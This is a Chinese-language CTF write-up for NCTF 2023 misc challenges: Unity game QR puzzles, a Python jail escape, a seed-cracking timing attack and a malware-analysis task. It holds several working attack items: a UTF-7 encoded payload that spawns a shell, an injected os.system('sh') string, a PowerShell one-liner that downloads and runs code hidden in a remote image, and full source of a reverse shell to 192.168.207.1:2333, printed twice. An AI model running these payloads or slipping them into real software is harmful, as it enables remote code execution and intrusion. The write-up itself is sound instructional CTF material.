[NCTF 2023] Misc
Jump For Signin
下载后打开游戏跳一下就能看到二维码,截图扫码就行
Jump For Flag
下载后,注意到 UnityPlayer.dll,判断该游戏是 Unity 引擎,由于 Unity 是C#实现的,只有 C#和il2cpp两种,观察到JumpForFlag_DataManagedAssembly-CSharp.dll是有代码的,故排除il2cpp,直接载入dnSpy中进行分析。由于第一题的提示,并且游戏中,每跳跃一次都会有黑白块掉下,所以猜测是二维码,故找到PlayerMovement,注意到里面调用了cubes_all这个全局变量,且该变量的内容是:
public int[][] cubes_all = new int[][]
{
new int[]
{
0xD,
0x64,
3,
1
},
new int[]
{
2,
0x64,
4,
1
},
...
}
容易观察到,每一个元素都带x,y,z和一个颜色(1是白色,0是黑色),但是在生成的时候,是从许多cube中随机挑选出几个,并且加了初始力,所以无论在游戏中怎么进行跳跃都无法得到真正的二维码。
gameObject.GetComponent<Rigidbody>().AddForce(new Vector3(Random.Range(-10f, 10f), 0f, Random.Range(-10f, 10f)), ForceMode.Impulse);
所以我们直接开写代码(cubes_all没有在代码里面注明,因为太长了)
using System.Drawing;
// 创建一个画布
Bitmap image = new Bitmap(100, 100); // 设定画布大小
// 设置画布背景色为白色
using (Graphics g = Graphics.FromImage(image))
{
g.Clear(Color.White);
}
// 遍历坐标数组,在画布上绘制点
using (Graphics g = Graphics.FromImage(image))
{
foreach (var cube in cubes_all)
{
int x = cube[0]; // x 坐标
int y = cube[2]; // y 坐标(你说不需要使用到)
// 如果需要使用 z 坐标,可以在这里使用 cube[2] 和 cube[3]
// 在指定坐标上绘制点
Color color = cube[3] == 1 ? Color.White : Color.Black;
using (Brush brush = new SolidBrush(color))
{
g.FillRectangle(brush, x, y, 1, 1);
}
}
}
// 保存图片
image.Save("output.png", System.Drawing.Imaging.ImageFormat.Png);
得到答案,扫码后即可获得Flag
ezjail
#coding=utf7+AAoAXwBfAGkAbQBwAG8AcgB0AF8AXwAoACIAbwBzACIAKQAuAHMAeQBzAHQAZQBtACgAIgBzAGgAIgAp
randommaker
拿到server.py后,注意到
def check2(ori, new):
time1 = time.time()
diff = 0
for i in range(len(ori)):
if (ori[i] != new[i]):
diff += 1
for _ in range(10000): # Just for a most strict randommaker checker :p
if (new[i] not in ori):
print("error in randommaker!!!")
exit()
timeuse = time.time() - time1
print(
f"After {timeuse} of inspection, there were no issues with the randommaker")
意思是,如果random.shuffle()后的每一位不对应,就重复10000次,导致程序时间变多,从而导致可以进行测信道攻击。
解决方案:
因为要爆破服务端的seed,首先我在连接的时候记录了本机电脑的时间(精确到秒),然后输入了很多组1111111111111111111111111111111111111111112,这样可以保证如果出现了2在shuffle后,位置不变,就会导致时间激增,导致可以对seed进行爆破。
然后我写了个函数,用于计算“shuffle前的值”,意思就是,在同一个seed下,如果A列表shuffle一次到了B,这个函数可以生成C列表,使得C列表可以shuffle一次后到A,相当于是shuffle的逆,该函数:
def getUnShuffledStr(payload):
raw = list(payload)
ordered_list = list(range(len(raw)))
# 要在函数外面保证random.seed为你想要的值
random.shuffle(ordered_list)
new_list = [i for i in range(len(raw))]
for i in range(len(raw)):
new_list[ordered_list[i]] = raw[i]
return "".join(new_list)
有了这个函数,我们就可以进行爆破,并且在爆破到正确的seed后,可以直接通过这个函数拿到payload,从而getshell。
下面是爆破主函数:
def crack():
a = 0
desired_time = datetime.now().replace(hour=13, minute=7, second=40, microsecond=0)
while True:
seed = int(desired_time.timestamp() * 1000) + a
random.seed(seed)
flg = False
# 刚开始时候写的是 a+=1,但是发现不存在这样的a,故改成了减号
# 最后发现a = -1300多一点,也就是服务器时间比本机时间慢1.3秒
a -= 1
# 这里是因为索引76和索引121出了问题,就是
# 这两次2的位置没有变
wenti = [76, 121]
for i in range(123):
payload = list("1111111111111111111111111111111111111111112")
random.shuffle(payload)
if i in wenti:
if payload[-1] != "2":
flg = True
break
else:
if payload[-1] == "2":
flg = True
break
if flg:
print(f"{a}")
continue
print(f"{a} is right!")
print(getUnShuffledStr("__import__('os').system('sh')"))
break
最后,通过ls和cat flag_xxxx 得到真正的flag。
NCTF2077
下载到文件后,发现里面还可以下载到一个.exe文件,注意到是C#的程序,所以拖入dnspy后进行查看,发现了资源中存在着的
$flag = "-873e-12a9595bbce8}";
sal a New-Object; Add-Type -A System.Drawing; $g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://zysgmzb.club/hello/nctf.png")); $o = a Byte[] 31720; (0..12) | % { foreach ($x in(0..2439)) { $p = $g.GetPixel($x, $_); $o[$_ * 2440 + $x] = ([math]::Floor(($p.B-band15) * 16)-bor($p.G -band 15)) } }; IEX([System.Text.Encoding]::ASCII.GetString($o[0..31558]))
我们可以很轻松的拿到flag的后半部分,但是前半部分就得继续看了。
首先,我们可以看到这是一个powershell的脚本,然后在网上搜索可知,这个脚本是把一段隐写到png中的恶意代码读取并进行运行,然后我们可以直接打印出来他读取的代码。注意到%在ps脚本里面是运行的意思,我们可以直接输出它运行的东西。进一步得到
&((GV '*mdR*').NaMe[3,11,2]-JoIN'') ( NEw-ObjeCt sySTeM.iO.sTReamreadEr( ( NEw-ObjeCt Io.cOMPrEssIoN.DEflATeSTREaM([sYsTEM.iO.MemoRYsTReaM][cOnVert]::frOMbAsE64StRinG('一段很长很长的字符') ,[Io.cOMpReSsiON.cOMPreSsIonMoDe]::dEcOmprESs )) , [tEXT.EncoDING]::aScII) ).reADTOeNd()
发现&在powershell中也是运行的意思,继续解码后面的可以得到:
$result = ( '一段很长的文本'.sPLIt( '<r_l:{&Z' ) | %{ ([cOnVErt]::toInt16( ([strING]$_ ) , 16 )-aS[cHAr])} ) -JOIN '' | & ( $EnV:COmspEc[4,15,25]-jOIN'')
注意到%,继续解码
(([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr([runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( $('又是一段很长的文本' | conVeRtto-SEcurEsTrIng -key (143..112)) ) ) ) )
继续,最后得到
$socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
do {
$writer.Flush();
$read = $null;
$res = ""
while ($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n", "").Replace("`n", "");
if (!$out.equals("exit")) {
$args = "";
if ($out.IndexOf(' ') -gt -1) {
$args = $out.substring($out.IndexOf(' ') + 1);
$out = $out.substring(0, $out.IndexOf(' '));
if ($args.split(' ').length -gt 1) {
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
}
else {
$res = $stdout
}
}
else {
$res = (&"$out" "$args") | out-string;
}
}
else {
$res = (&"$out") | out-string;
}
if ($res -ne $null) {
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()" to type "System.Management.Automation.ActionPreference". Error: "Unable to match the identifier name $socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
do {
$writer.Flush();
$read = $null;
$res = ""
while ($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n", "").Replace("`n", "");
if (!$out.equals("exit")) {
$args = "";
if ($out.IndexOf(' ') -gt -1) {
$args = $out.substring($out.IndexOf(' ') + 1);
$out = $out.substring(0, $out.IndexOf(' '));
if ($args.split(' ').length -gt 1) {
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
}
else {
$res = $stdout
}
}
else {
$res = (&"$out" "$args") | out-string;
}
}
else {
$res = (&"$out") | out-string;
}
if ($res -ne $null) {
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
找到flag的前半部分,拼接提交即可。